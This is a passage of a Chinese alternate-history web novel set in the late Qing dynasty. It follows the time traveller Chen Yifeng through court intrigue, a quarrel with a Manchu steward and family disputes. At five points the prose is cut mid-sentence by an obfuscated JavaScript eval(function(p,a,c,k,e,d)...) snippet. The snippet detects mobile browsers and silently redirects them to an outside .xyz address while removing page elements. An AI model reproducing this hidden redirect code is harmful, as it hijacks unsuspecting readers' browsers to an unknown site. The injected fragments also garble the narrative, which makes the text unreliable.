“老师...”李鸿章欲言又止,额头已渗出细密的汗珠。 “湘军如今有五十万之众,掌控江南要地。”曾国藩放下茶盏,轻抚胡须,“如此庞大的势力,已非一人之力可以掌控。这五十万将士背后,是数万文武官员,是五十万个家庭。他们都需要吃饭,需要生活,这些从何而来?” 李鸿章感觉一股寒意从脚底窜上来。他当然明白老师的言外之意。湘军能有今日之规模,全赖太平天国之乱。可如今天下渐安,这偌大的军队该何去何从? “朝廷给不了,战争也打不完。”曾国藩叹息道,“上山容易下山难。我可以金盆洗手,但这些弟兄们呢?” 李鸿章双眼通红,“噗通”一声跪倒在地:“请老师指教!” “起来。”曾国藩扶起李鸿章,“事情或许还有转机。” “转机?” “陈逸风。” 这个名字让李鸿章心中一动。 近来朝野上下,谈论最多的就是此人。 “此人在琉球一役中表现非凡。”曾国藩眼中闪过异色,“三千日军加十万暴徒,皆被其剿灭。更令人惊讶的是,他竟能调动洋人火炮相助。” 李鸿章不由得想起了前些日子传来的消息。那场战役中,陈逸风不但击退了日军,还让琉球国力大增。朝廷震惊之余,连连褒奖,甚至还赐予了“镇国公”的封号。 “此人与洋人究竟有何关系?”李鸿章若有所思地问道。 “他很聪明。”曾国藩踱步道,“琉球朝堂已在他掌控之中,而朝廷却被他的障眼法蒙蔽,只顾着赏赐封号。” 李鸿章恍然大悟:“老师是要...” “不错。”曾国藩微微一笑,“有他在前面吸引朝廷注意力,我湘军便能暗中发展。” 就在这时,七爷曾国荃匆匆走了进来。他的脸上带着几分焦急,显然是有要事相商。 “大哥。”曾国荃行礼后直入主题,“何不试着招揽陈逸风?此人虽来历不明,但确是汉人无疑。若能为我所用...” “住口!”曾国藩厉声喝止。 书房内顿时一片寂静,连窗外的风声都似乎停了下来。 “国荃啊国荃。”曾国藩长叹一声,走到窗前望着院中的梅树,“你可知满清入关时的剃发令?百姓宁死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482280|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不从,死伤无数。可到了乾隆年间,百姓早已习惯了辫子,反而嘲笑朝鲜使臣的装扮。” 他转过身,目光深邃:“这就是习惯的力量,也是气运所在。除非你愿意血洗中原,否则就得向这股力量低头。” 曾国荃沉默片刻,突然道:“大哥,你忘了一点。陈逸风不同,他从未习惯过大清的统治,也未曾向习惯低头。这一年来,他的所作所为已经影响了两国国运。” “莫非...”曾国藩面色大变,手中的茶盏“啪”的一声摔在地上。 青花瓷片四散,茶水溅在地上,如同一幅散开的水墨画。 就在此时,一阵寒风突然吹开房门,冷气扑面而来。烛火摇曳,在墙上投下诡异的影子。 “大哥,你还记得去年那场大雪吗?”曾国荃的声音带着几分沉重,“就是陈逸风初到琉球的那天。” 李鸿章心中一凛。他当然记得那场大雪,整个江南都被大雪覆盖,甚至连南京城的秦淮河都结了冰。这在江南百年难得一见。 “那场大雪过后,琉球的国运就开始改变。”曾国荃继续道,“现在想来,或许这就是天意。” 曾国藩望着窗外,若有所思。这个突然出现的陈逸风,会给这盘大棋带来怎样的变数? 夜色渐深,寒风依旧。 书房内的三人各怀心事,谁都没有再说话。案几上的茶早已凉透,檀香的气息也渐渐散去,只剩下一室的沉默。 望海港上人声鼎沸,同知沈明泰站在码头边,望着眼前的陈逸风和孟明蛇,眼珠子都快瞪出来了。他几次想开口,却又咽了回去,脸上的表情像是见了鬼一般。 “陈先生,您这是...”沈明泰搓着手,一脸惊诧,“前些日子我还劝您留头发,怎么现在反倒剪得更短了?” 更让他震惊的是孟明蛇那光溜溜的脑袋。要知道,陈逸风有美国公民身份,剪不剪发都无所谓。但孟明蛇可是地地道道的大清子民,这辫子可是关系到脑袋的大事。 第九十七章 慕四给老爷请安 陈逸风摸了摸自己的**头,眼神中闪过一丝复杂。那霸城的记忆如潮水般涌来,火光冲天,惨叫连连,半座城在一夜之间化为灰烬。 “说来话长啊。”他轻叹一声,“那霸一战,火光冲天,半座城都烧成了灰。那些辫子,成了最大的累赘。” “可不是嘛!”孟明蛇摸着自己光秃秃的脑袋,语气中带着几分自嘲,“当时战况激烈,我这辫子差点被火烧着。想着与其让敌人抓住把柄,不如干脆一刀割断,痛快!” 码头上的百姓听到这番对话,纷纷往后退了几步。 人群中响起窃窃私语: “这就是那个血洗那霸的陈逸风?” “嘘,小声点。这可是明月商行的大老板,谁不知道现在望海的买卖都得靠他?” “听说他在城外建了个什么工业特区,里面养着**的恶鬼...” 众人议论纷纷,却不敢抬头直视陈逸风。空气中弥漫着一股诡异的气氛。 就在这时,梁镳带着一众商人挤上前来。他们个个笑容满面,七嘴八舌地恭维着。 “陈先生威震海外,这波操作简直神级!”梁镳满脸堆笑。 “我等凑了十万两银子,还请先生笑纳。”另一个商人从怀中掏出一张银票,双手奉上。 陈逸风原本想继续往前走,听到这话却猛地站住了。他转过身,眯着眼打量着这群商人:“哦?十万两?你们的债务都还清了?” 戚掌柜连忙上前,重重地磕了个头,额头都磕出了血:“全靠先生的恩典啊!您给的低息贷款,让我们的生意都扩大了好几倍。这十万两,不过是应该的。” “既然如此,那我就收下了。”陈逸风接过银票,随手递给身边的管事,“刚好我从美国定制了一对远洋巨轮,这钱正好凑个订金。” “什么?先生要买洋船?”商人们顿时沸腾了。 就在众人议论纷纷之际,一艘巨大的蒸汽船缓缓靠岸。甲板上站着三个洋人,正是迈克卡内基、牧师史密斯和美国密使洛根。 洛根一见到陈逸风,就迫不及待地说起了好消息:“美国政府同意了!他们愿意卖给您三艘疾翼船,每艘配备十门120毫米后装舰炮。” “价格呢?”陈逸风问道。 “一艘二十万美元,三艘就是六十万美元。”洛根有些不好意思地说。 陈逸风眉头微皱。这价格足足翻了三倍,但现在是卖方市场,他也只能认了。 正想着,远处突然传来一阵刺耳的喊声:“老爷啊!您可算回来了!” 一道黑影如蝗虫般飞扑过来。 “什么鬼东西?”陈逸风下意识往后一跳。 孟明蛇想要拦住陈逸风,但已经来不及了。 那道黑影如同一只螳螂般灵活,几个跨步就冲到了近前。月光下,黑影的动作诡异而迅捷,仿佛一团流动的墨汁。孟明蛇正要出手,却见陈逸风轻轻摆了摆手,示意他不必紧张。 “老爷!老爷啊!” 黑影跪倒在地,露出一张谄媚的脸。身上穿着黑绸马褂,整个人瘦得像根竹竿,一双三角眼滴溜溜地转着,透着几分精明和算计。 “奴才慕四给老爷请安了!”慕四的声音尖细刺耳,像是一把生锈的锯子在木板上来回摩擦。 陈逸风眉头微皱,眼底闪过一丝厌恶。这慕四一开口就是“奴才”,倒是和情报里说的分毫不差。在望海这地界,能把“奴才”两个字叫得如此理直气壮的,也就这位了。 街道两旁的店铺里,不少人探出头来张望。慕四身后还跟着十多个家丁,这些都是从京城带回来的。这些人穿着统一的蓝色长衫,腰间别着铜牌,神情倨傲。他们已经悄无声息地把账房、门房等要害位置全部占据。 看着跪了一地的“奴才”,陈逸风只觉胃里一阵翻涌。自己现在可是打着“西学宗师”的招牌,身后还跟着外国友人。这群人倒好,当街就要磕头请安,这不是存心砸他招牌吗? 最让他火大的是这个“姑爷”的称呼。在琉球看到这份情报时他就气得不行,手中的茶杯都差点捏碎。自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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慕四眯着眼睛上下打量孟明蛇,嘴角露出轻蔑的笑:“呦,这是谁啊?一个看门护院的也敢管主子内宅的事?真是没规矩......” 孟明蛇大怒,一把揪住慕四的衣领,粗壮的手臂上青筋暴起:“你再说一遍?” “来啊!有本事直接送我上西天!”慕四一点不怕,反而挺起胸膛,“爷我可是旗人,富察氏是我本家!我倒要看看,你一个汉人敢不敢打我们满人!” 第九十八章 楚三爷怒打陈逸风 孟明蛇举起拳头就要动手,被陈逸风拦住了。街道两旁已经围了不少看热闹的人,有人掏出铜钱准备打赌。 “这么多人看着,别动手。”陈逸风按住孟明蛇的手臂,低声说道。 慕四被扔在地上,立刻又开始哭天抹泪:“老爷啊,您可得给奴才做主啊!这些汉人仗势欺人,不把我们旗人放在眼里......” 陈逸风心里烦透了这个无赖,但也知道他背后有靠山,不好发作。 “你回去吧,中午我要在揽月阁宴客。”说完,陈逸风转身用英语和美国客人说话,想要借此打发走慕四。 慕四却不依不饶,又凑上来:“老爷要宴客是该的。奴才带了新衣服来,您换上再见客更体面......” 等下人抱来衣服,陈逸风的脸色彻底沉了下来。 那是一套考究的蜀锦大褂,领口袖口都镶着雪白的狐狸**,在月光下泛着柔和的光泽。但最让他反感的是,衣服上还压着一顶瓜皮小帽,帽子下面赫然是一根假辫子。 “慕四,这是什么意思?”陈逸风的声音冷得像冰。 “回老爷的话,奴才看您没留辫子不雅观,特意选了最好的假辫子。现在九门城里可流行这个......” 慕四话没说完,就被陈逸风一脚踹翻。他踉跄着后退几步,撞倒了身后的衣箱。 “滚蛋!谁说老子要戴辫子了?当初入宫皇上太后都没说什么,你算老几?”陈逸风怒吼道。 慕四立刻跪地痛哭:“主子啊,您现在可是八旗的姑爷,入赘富察氏总得有个样子......” “什么玩意儿?”陈逸风气得跳起来,冲上去就是两个大嘴巴,“入赘?老子姓陈,这辈子都不会改!要是富察瑜音想嫁,就得守我的规矩!” “那可不行!”慕四突然跳起来,脸上的谄媚一扫而空,换上了一副趾高气扬的表情,“我家姑奶奶可是八旗上三旗的主子,是那位太后的表妹妹,皇上的表姨妈!能下嫁给汉人就是天大的恩典了!” 街道两旁的人群发出一阵惊呼。这样的身份,确实让人不敢小觑。 就在这时,一个洪亮的声音从街角传来:“慕四,你在那放什么屁!一个管家也敢教训主子,是不是忘了我们富察氏的家规?” 众人循声望去,只见一个身材魁梧的中年**步走来,正是楚三爷富察荣楚。他穿着一身藏青色的长衫,腰间别着一块白玉佩,举手投足间透着一股威严。 慕四立刻趴在地上磕头:“少爷吉祥!奴才......小的对您可是真心实意啊......”说着居然哭了起来,眼泪鼻涕一起流。 荣楚走到近前,看了看满地狼藉,又看了看陈逸风,脸上露出一丝歉意:“陈先生,让您受委屈了。这慕四仗着是老人,越来越没规矩。待我回去就好好收拾他。” “滚回去!”楚三爷冷冷地开口,用鞋尖轻蔑地踢了踢慕四郎,“该说的说,不该说的闭嘴。” 慕四浑身一颤,再不敢耍无赖,连滚带爬地起身。他低着头,不敢与楚三爷对视,生怕再惹怒这位主子。身后的一群下人见状,也赶紧跟着仓皇逃窜。 在八旗规矩里,主子要了奴才的命都不用偿命。有的大家族家规严苛,活埋、火烤、浸猪笼,各种私刑层出不穷。 慕四带着手下离开后,几个家丁忍不住抱怨起来。他们躲在一处偏僻的角落,压低声音交谈着。 “四爷,这二鬼子也太嚣张了,连个官职都混不上,还在咱们面前摆谱。”一个瘦小的家丁愤愤不平地说道,眼中闪烁着怒火。 “就是,要不是理事府逼着来,谁愿意受这鸟气?”另一个高大的家丁附和道,握紧的拳头显示出他内心的不满。 慕四阴沉着脸,之前那副谄媚的奴才相荡然无存。他环顾四周,确保没人偷听后,才开口说道:“呸!我给他面子,给他台阶下,这姓陈的不识好歹。我本来不打算把事情做绝,只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“王八蛋,就是个坏种,敢欺负我姐,我跟你拼了!”楚三爷满脸通红,眼中充满了愤怒和羞耻。在那个时代,未婚先上床是最丢人的事。就算满人不太在意这个,也得偷偷摸摸来啊,又没有搞得众所周知? 陈逸风心里冤得要死,这种事怎么就传开了?到底是谁走漏的风声?要让他知道了,非扒了那人的皮不可。他试图解释:“三爷,您听我解释......” “解释个屁!你想不认账是吧?我宰了你!”楚三爷力气奇大,连孟明蛇都快按不住了。周围的掌柜们赶紧一拥而上,好说歹说才把人劝进了明月商行。 几个美国人站在一旁,看得目瞪口呆。他们交换了一下眼神,突然觉得,这趟清国之行一定很有意思。 在明月商行二楼会客室,陈逸风捂着肿胀的眼睛,对面坐着怒气未消的楚三爷,两人像斗鸡似的瞪着对方。空气中弥漫着一股**味,仿佛随时都可能再次爆发冲突。 “枉我把你当兄弟,你竟然在背地里黑我,你良心不会痛吗?”荣楚悲愤地说,声音中充满了失望和愤怒。 陈逸风听到这话,心中也是一阵烦闷。他辩解道:“哪跟哪啊?你姐都不是小孩子了,她有选择的自由,又不是你家的私人物品。再说了,这顶多算实话实说,归根结底是瑜音姐倒贴......” “闭嘴!无耻之徒,你想不认账?”楚三爷一掌拍在桌上,发出一声巨响,吓得孟明蛇赶紧挡在中间。 陈逸风被这一掌惊得后退了半步,但很快又镇定下来。他反问道:“什么奇奇怪怪的,我啥时候说要赖账了?明明是你先出手的。那个橡皮糖是什么情况?你们富察氏给我安排这么个二货,到底什么意思?” 楚三爷不懂“二货”是什么意思,但心里清楚那不是什么好话。一提到慕四,他多少有些愧疚,但嘴上依然强硬。 “少转移话题,我就问你,我姐你打算怎么办?”楚三爷逼问道。 陈逸风深吸一口气,努力平复自己的情绪。 “我的好三爷啊,不是我想怎么办,是你们想怎么办?瑜音姐和凤女的事我早就想好了。去琉球前我就打算好了,等到来年闲暇时,让她们做平妻。我不会亏待任何人,谁知道我不在的时候出了这么多事?” 坐在一旁的梁镳听到“平妻”二字,眼圈立刻红了。他端起茶杯遮掩着说:“不敢,不敢,小女岂敢与富察家长女平起平坐,能...做个小妾就知足了......”说着,两行浑浊的泪水流了下来。 荣楚看到老东家落泪,长叹一声,心中的怒气消散了大半。他本来就不反对姐姐和陈逸风在一起。一个婚姻多舛的破事精,能找到陈逸风这样的男人已经是高攀了,说实话富察氏还该感谢陈逸荣楚到底是传统封建思想家庭长大的人,对礼法面子很看重。这闹得人尽皆知,实在是太丢人了。 陈逸风看出楚三爷的心思,知道现在是缓和关系的好机会。他放软语气,诚恳地说道:“三爷,我知道这事做得不对,但我对瑜音姐是真心的。我发誓,一定会好好对她,绝不会让她受半点委屈。” 楚三爷听到这话,脸色稍微缓和了一些。他沉默了片刻,才开口道:“你说得倒是好听,但我怎么知道你是不是在敷衍我?” “自然不是”陈逸风赶紧接话,揉了揉肚子“我的好三爷,咱们不要站在这里让人看笑话了,有什么事先回商行坐下来再说行吗?” 明月商行里,陈逸风站在窗前,看着楼下熙熙攘攘的人群,初春的寒意还未散尽,街上行人裹着厚重的衣衫匆匆而过,茶馆酒肆中升起袅袅炊烟。 慕四通天的事情,他早就知道。这事在九门城的旗人圈子里,算不得什么秘密。 “八旗制度,就是个笑话。”陈逸风冷笑一声,眼底流露出厌恶。 这些纨绔子弟,整日里不是泡茶馆就是逛青楼,养狗斗鸟,就知道坐在一起嚼舌根。朝廷大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈逸风连忙喊道:“都把刀收起来!” 梁镳无奈地起身打开房门,一个六十多岁的老者站在门口,脸色发白,额头上沁出细密的汗珠,这就是梁镳的大哥梁儒。他的身后跟着一名健壮的男子,看装扮应是管事。 “大哥,有什么事回家说不行吗?”梁镳揉了揉太阳穴,语气中带着几分烦躁。 梁儒却不理会弟弟的话,径直走进屋内。他的目光在屋内扫视一圈,看到陈逸风就拱手:“好久不见,陈先生的《域外见闻》我买了一套,当神怪小说看还不错......” 说着,他竟自顾自地坐在了主位上,完全不把在座的几位放在眼里。 陈逸风和楚三爷对视一眼,都从对方眼中看到了惊讶。这老头,未免太不把人放在眼里了。 梁儒开门见山:“陈先生,你是知道我的,山西永昌号大掌柜,理事府赐四品皇商......” 他转头对梁镳道:“我带了五十万两银子,要入股通商行五成。这条件已经很优厚了。”说着,他的目光在屋内转了一圈,“你看看这些茶具,都是乾隆粉彩的,太掉价了。墙上这些字画,怕是鬼市上十两银子就能买到吧?” 陈逸风听得直想笑。这老头是真不懂,还是装不懂? 明月商行现在光南洋龙元就铸了两百多万枚,口外的银炉也开始运转,每月进账少说也有十几万两。五十万两想要五成股份?真是天大的笑话。 梁儒见没人说话,突然拍案而起:“梁镳,你太不孝了!分家也就罢了,现在连家族的好意都不领情。还有这个商行,为什么最大的东家是陈逸风?还不是让人给骗了......” “梁老先生这话就不对了。”陈逸风冷笑着打断他的话,“我入股最多,也是我带头成立的的,有什么问题吗” 说来,明月商行的股权构成,一直是个谜。 从一间普通的远洋贸易行,到后来的钱庄、银行,再到证券交易所,最终竟然成为了拥有货币发行权的央行。这一路走来,股权调整不下十次之多。 但有一点是确定的-陈逸风始终是第一大股东。 回想当初创立之时,梁镳掌柜投入五十万两白银,靖孙沈达华以青云峰库作价五百万两参股。剩下的,全是陈逸风的资本。 私铸银元的利润、抄家所得,甚至琉球战役的战利品,都成了他的股本。但最大的一块,却来自他掌控的地方行政机构。 清朝的财政制度相当原始。各县征收的税银要熔成银锭,分两季向上解缴。这其中存在巨大的时间差,简直就是明晃晃的漏洞。 作为穿越者的陈逸风,自然不会放过这个机会。 他开始在各县之间调动资金。今天从平县调十万,明天从涞水拿五万。北境境内已有十五个县被他渗透,随时能调动二百多万两白银。 这些钱根本不用还,只要在关键时刻从别处再调些补上就行。各县解缴时间本就不同,这场拆东墙补西墙的游戏,足够他玩很久。 就这样,一个两手空空的穿越者,成了明月商行的最大股东。当然,他还给自己算了笔“技术股”,认为自己的智慧值个二三十万两。 可现在,被望海商圈尊称为“骑黑虎财神爷”的他,在梁儒眼里却成了靠凤女吃软饭的窝囊废。 陈逸风看着眼前这个老头子,心中暗叹。这梁儒到底还算不算个商人?连最基本的情报都不去打听,在望海待了十多天,随便问问也该知道自己是什么人物。 要不是看在凤女的面子上,这种人早就被他一脚踢出望海了。 梁儒却毫无自知之明。这个读书读到走火入魔的老头,根本不懂经商之道,甚至连为人处世都不明白。他脑子里全是升官发财,就是个想当官想疯了的糊涂虫。 陈逸风正想着如何应对,梁镳突然开口了,声音里带着压抑已久的怒火。 “够了!”梁镳猛地站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482284|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起身,双手撑在桌面上,指节因用力而发白。“大哥,你别再发疯了!谈什么投资简直是在做梦,五十万两还是带回去埋地窖吧。关于重返家门...我早已心灰意冷。一个把侄女当礼物送人的家族,我宁可不要!” 这话像一记重锤,狠狠砸在梁儒心上。他的脸瞬间涨得通红,眼睛瞪得像铜铃一般大。 “不孝子!”梁儒咆哮着,唾沫星子四溅,“你这是大逆不道!梁家怎么会生出你这个叛徒...” 他的胸口剧烈起伏,像是要把积攒多年的怒火一次性发泄出来。“你是被鬼迷了心窍,跟着这个二鬼子早就没有人性了!家族哪里亏待你了?现在送钱上门你都不要,就你这破商行,还能撑几天?” 梁儒的目光转向一旁的陈逸风,眼中满是轻蔑和不屑。“你这个吃软饭的,有什么资格坐在这里?要不是我侄女,你算个什么东西?” 陈逸风眉头微皱,但并未出声。他知道,这种时候最好让梁镳自己处理。 果然,梁镳听到这话,脸色瞬间变得铁青。他深吸一口气,努力平复着情绪。 “大哥,你太过分了。”梁镳的声音低沉而冰冷,“陈先生是我的恩人,也是望海商圈的领袖。你这样说话,不仅侮辱了他,也侮辱了我。” 梁儒却不以为然,反而更加激动。“你脑子里装的都是稻草吗?女人生来不就是嫁人的?能为家族换来利益是她的福分...你真是离经叛道!一个女人值几个钱?生来就是个联姻工具罢了?你怎么这么不懂事!” 这番话彻底点燃了梁镳的怒火。他猛地抓起桌上的乾隆粉彩盖碗,狠狠摔在地上。瓷器碎裂的声音在室内回荡,仿佛也碎了梁镳最后一丝耐心。 “滚!”梁镳怒吼道,“给我滚!我告诉你,梁家我这辈子都不会回去。我要靠自己的本事,创出一番更大的事业!至于凤女,我宁可让她给陈逸风当丫鬟,也不会让你们摆布!” 他的怒吼声震得路人纷纷侧目。 第一百零一章 那个管家心术不正 陈逸风见老丈人气成这样,朝孟明蛇使了个眼色。孟明蛇会意,立刻上前一步。 “老先生请回吧,”孟明蛇语气平和但不容置疑,“这里不欢迎你。” 梁儒闻言,怒火中烧。他跺着脚,指着孟明蛇的鼻子骂道:“你也配在这耀武扬威?也敢管我?这是我们梁家的商行,你一个看门的也敢撵我?这是犯上,我要去告你们!” 孟明蛇不由分说,一手钳住他的手臂硬拽出门。这时,一直站在梁儒身后的管事突然出手,鹰爪般的手掌闪电般扣住孟明蛇手腕。 “孟明蛇,蛇爷是吧?”那人声音低沉,带着一丝威胁,“给我们东家留点面子比较明智。”说着,他一抖手,竟将孟明蛇的手震开。 孟明蛇眯起眼睛,目光锐利。“好身手,在下还没请教...” “不值一提,”那人抱拳道,“永昌号管事,王四莲。” 随即,他扶住梁儒,语气恭敬:“老东家,今天就到这里吧,我们该回去了。” 梁儒气得两眼发黑,只是摆摆手,任由王四莲搀着离开,嘴里不住地叹气。 待两人走远,陈逸风立即上前观察梁镳的情况,只见梁镳脸色苍白,身体微微颤抖,显然是气得不轻。 “梁掌柜,别生气。”陈逸风扶着梁镳坐下,轻声安慰道,“他不过是个井底之蛙的暴发户,哪比得上您跟洋商打交道的眼界。” 梁镳苦笑一声,摇了摇头。“先生别怪我大哥。他跟我们不是一路人。这段时间看了您的书,我才明白,人与人虽在一处,心却在不同的世界。” 他握住陈逸风的手,“我大哥一辈子活在君君臣臣里,他对我和凤女的态度,在他那个世界很正常。但我回不去了,自从玉岭山遇见先生,见识了从未想过的事,六十多岁才算真正活明白。” 梁镳的声音带着几分哽咽:“先生别跟他一般见识。您是放眼天下的人物,他不过是个乡下财主,别计较。” 陈逸风心中一暖,拍了拍梁镳的手背。“梁掌柜放心,他是凤女大伯,我就知道要互帮互助,哪会为难他。” “事情没这么简单。”孟明蛇突然插话道,眉头紧锁,“梁儒手下的那位管家心术不正,以前可见过?” 梁镳愣了一下,仔细回想后摇了摇头:“没见过。听大哥说是新找的管事,怎么了?” 孟明蛇冷笑一声:“如果我没猜错,您这位大哥已经被人控制了。梁家危险了,正站在悬崖边上...” 这话一出,屋内气氛骤然凝重。陈逸风和梁镳对视一眼,都从对方眼中看到了担忧。 “蛇爷,你是说...”陈逸风欲言又止。 孟明蛇点点头,神色凝重:“那个王四莲,绝非普通人。他的武功路数很特别,在武当山学艺时,师傅曾提到过川藏一带有支从**教分出的武功流派。这一脉向来神秘,极少在江湖走动,专以护教为己任。那管事手上的暗劲,与师傅所言颇为相似。” 梁镳闻言,脸色更加难看。“这...这怎么可能?我大哥怎么会和这种人扯上关系?” “很简单,”孟明蛇冷笑道,“您大哥一心想当官,却又没有门路。这种人最容易被人利用。那个组织可能许诺了他什么,让他心甘情愿成为棋子。” 陈逸风沉思片刻,突然问道:“梁家现在的情况如何?” 梁镳叹了口气:“不太好。自从我离开后,大哥一直在经营,但效果不佳。听说最近几年更是每况愈下,已经到了山穷水尽的地步。” “这就对了,”孟明蛇接话道,“梁家现在正是最脆弱的时候,也是最容易被人利用的时候。那个组织很可能是冲着梁家的产业来的。” 陈逸风眉头紧锁,陷入沉思。片刻后,他抬头看向梁镳:“梁掌柜,你觉得梁家还有救吗?” 梁镳苦笑一声:“说实话,我也不知道。大哥那个性子,根本听不进去别人的意见。就算我现在回去,恐怕也无济于事。” “但是,”他顿了顿,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482285|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中闪过一丝坚定,“毕竟是生我养我的家族,如果真的有危险,我不能坐视不管。” 陈逸风点点头,拍了拍梁镳的肩膀。“梁掌柜,你放心。既然事关梁家安危,我们自然不会袖手旁观。” 他转向孟明蛇:“你去查查那个王四莲的底细,看看能不能找到些线索。” 孟明蛇点头应下,转身离去。 陈逸风又对梁镳说道:“梁掌柜,你也别太担心。我们先观察几天,看看情况再说。如果真的有什么不对劲,我们再想办法。” 梁镳感激地看着陈逸风:“先生,真是太谢谢你了。我...” 陈逸风摆摆手,打断了梁镳的话:“别这么说,咱们早晚是一家人。再说了,梁家要是出了事,凤女那丫头还不得闹翻天?” 这句话逗得梁镳笑了起来,紧绷的气氛稍稍缓解。 就在这时,陈逸风的肚子不合时宜地咕咕叫唤起来。他有些尴尬地掏出怀表一看,已是十一点半。 “不是说戚掌柜要请客吗?咋都跑光了?”陈逸风摸着肚子,语气中带着几分抱怨。 梁镳摆了摆手,脸上露出一丝无奈的笑意:“还想着请客?码头上那一出,三爷都动手了,人家早跑光了。慕四不是给您安排了接风宴吗?” 说完,梁镳躲进账房看账本去了,留下陈逸风和荣楚一脸无奈。 在海上颠簸多日,陈逸风此刻只想好好吃顿热乎饭,泡个热水澡。至于其他事,等歇够了再说。他深吸一口气,决定先回家。 从望海城到陈家大宅,马车小跑一刻钟就到。这宅子修缮许久,总算能住人了,陈逸风自是要来看看。更何况,他也想念凤女了。 然而,还未到大门口,院内嘈杂声就传了出来。陈逸风的眉头不由得皱了起来。 “五魁首!六六六!八匹马!输了输了,罚酒罚酒!” “马老三,换大碗!谁怕谁!” “大葱烧辽参来咯,我师傅的看家菜!” 第一百零二章 陈逸风质问慕四 大门敞开着,酒席喧闹声不绝于耳,香气四溢,几条野狗在门口转悠。陈逸风的脸色瞬间阴沉下来,眼中闪过一丝怒火。 “好啊,本大爷还在外头呢,他们倒先享受上了。”陈逸风咬牙切齿地说道,声音中带着压抑的怒气。 他一脚踢开野狗,推门而入。眼前的景象让他更加愤怒。 门房里几个下人正挤在一起喝得正欢,一个个脸红脖子粗,显然已喝了有半个时辰。酒气熏天,醉汉们东倒西歪,完全没注意到主人的归来。 “把这几个混账捆起来!不老实的先抽一顿!”陈逸风一声令下,声音中充满了威严。 光头护卫们立刻冲上前去,叮叮当当把醉汉们拽了出来。场面一时间混乱不堪,醉汉们挣扎着,嘴里还不停地嚷嚷。 “谁...谁敢碰爷...爷是陈家的...”一个醉汉话都说不清,被风一吹,抱着柱子就吐了。 陈逸风怒不可遏,这些人把他的家当成什么了?他怒喝道:“抽!给我狠抽!等他酒醒了,让他把吐的都吃回去!” “去**!”陈逸风一脚踹翻一个歪歪斜斜的醉汉,心中的怒火越烧越旺。 这时,一个端菜的厨子认出了陈逸风,扔下托盘就往后院跑:“老爷回来了!老爷回来了!”他的声音中充满了惊慌。 陈逸风捂着脸,深深地叹了口气:“真是没规矩啊!爷爷能**一国,竟连一个家都治理不好,丢人!” 楚三爷也尴尬得很,脸上露出一丝歉意:“对不住了兄弟,咱府上的老管家实在没规矩...” 一行人往里走,发现几乎每个院子都在摆宴。现在陈家有上百下人,从大门到后花园摆了十来桌酒席。看着满桌的海鲜山珍,螃蟹黄堆成山,鲍鱼海参比比皆是,陈逸风气得牙痒痒。 “好你们的!主子还饥肠辘辘呢,你们倒先开席了?我在外头拼死拼活,你们在这里吃香喝辣?”陈逸风的声音中充满了怒火,眼中闪过一丝寒意。 光头护卫们也怒了,掏出麻绳就往酒桌冲:“咱们在战场上出生入死,你们在后面享福?给我捆!” 这些护卫都是见过血的,下手狠辣,把下人们勒得哇哇直叫。场面一时间混乱不堪,哭喊声、求饶声此起彼伏。 被捆的下人分成两派。一派是陈逸风原先雇的,或是凤女找来的,这些人惭愧地跪在一旁,一言不发,脸上写满了愧疚。 另一派是慕四从北京带来的,还有他后来找的人,这些人明显不服气,嘴里不停嘀咕,眼中尽是不屑和愤怒。 “抽!胆敢对主子无礼,还不动手!”陈逸风抢过孟明蛇的马鞭,对着叫得最凶的一个劈头盖脸就打。鞭子抽在肉上的声音清脆响亮,伴随着那人的惨叫声。 这家伙外号癞子,是慕四麾下最刁的一位,挨打了不求饶反而大喊:“**了!老爷要动杀心了!陈逸风要冤杀我们,快跑啊!”他的声音中充满了挑衅。 